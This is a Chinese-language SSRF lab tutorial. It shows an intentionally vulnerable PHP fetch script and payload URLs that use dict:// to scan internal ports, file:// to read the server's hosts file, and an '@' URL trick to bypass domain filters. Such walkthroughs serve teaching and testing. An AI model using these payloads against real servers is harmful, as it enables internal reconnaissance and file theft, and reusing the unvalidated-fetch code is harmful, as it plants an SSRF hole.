赞
踩
<?php
if (isset($_REQUEST['url'])){
$link=$_REQUEST['url'];
$filename='./curled/'.time().'.txt';//代码读取url后将内容写入到该文件夹下的新建文件中
$curlobj=curl_init($link);
$fp=fopen($filename,"w");
curl_setopt($curlobj,CURLOPT_FILE,$fp);
curl_setopt($curlobj,CURLOPT_HEADER,0);
curl_setopt($curlobj,CURLOPT_FOLLOWLOCATION,TRUE);
curl_exec($curlobj);
curl_close($curlobj);
fclose($fp);
$fp=fopen($filename,"r");
$result=fread($fp,filesize($filename));
fclose($fp);
echo $result;
}else{
echo "?url=[url]";
}
?>
192.168.1.4/SSRF.php?url=http://www.baidu.com
,可以看到网页显示如下。192.168.1.4/SSRF.php?url=http%3A%2F%2Fww3.sinaimg.cn%2Fbmiddle%2F9150e4e5ly1fjfwjgxuwoj20jg0ax428.jpg
,可以看到网页显示如下:192.168.1.4/SSRF.php?url=http://www.baidu.com/robots.txt
,当一个搜索蜘蛛访问一个站点时,它会首先检查该站点根目录下是否存在robots.txt,如果存在,搜索机器人就会按照该文件中的内容来确定访问的范围;如果该文件不存在,所有的搜索蜘蛛将能够访问网站上所有没有被口令保护的页面。更多robots协议更多内容请查看百度百科介绍。192.168.1.4/SSRF.php?url=dict://192.168.1.4:80
,页面显示如下,成功带回服务器信息,说明端口开启着。192.168.1.4/SSRF.php?url=dict://192.168.1.4:8080
,页面显示如下,说明端口未开启。192.168.1.4/SSRF.php?url=dict://192.168.1.2:21
,显示如下,说明内网该机器不存在或未开发该端口。利用file协议可以任意读取系统本地文件,真实机浏览器访问192.168.1.4/SSRF.php?url=file://c:\windows\system32\drivers\etc\hosts
。可以看到成功读取到服务器本地的hosts文件。
当进行SSRF漏洞利用时,可能会存在服务器对所请求进行检验,比如说是否含有具体域名或网站格式等,如果在这样的限制条件下想要访问内网IP,可以尝试:
url=http://www.x.com@10.0.0.1
,该命令实际上访问的是IP地址10.0.0.1。要理解该URL是如何被浏览器解析地,要先了解URL的构成,明白@后面的才是真实访问的域名。Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。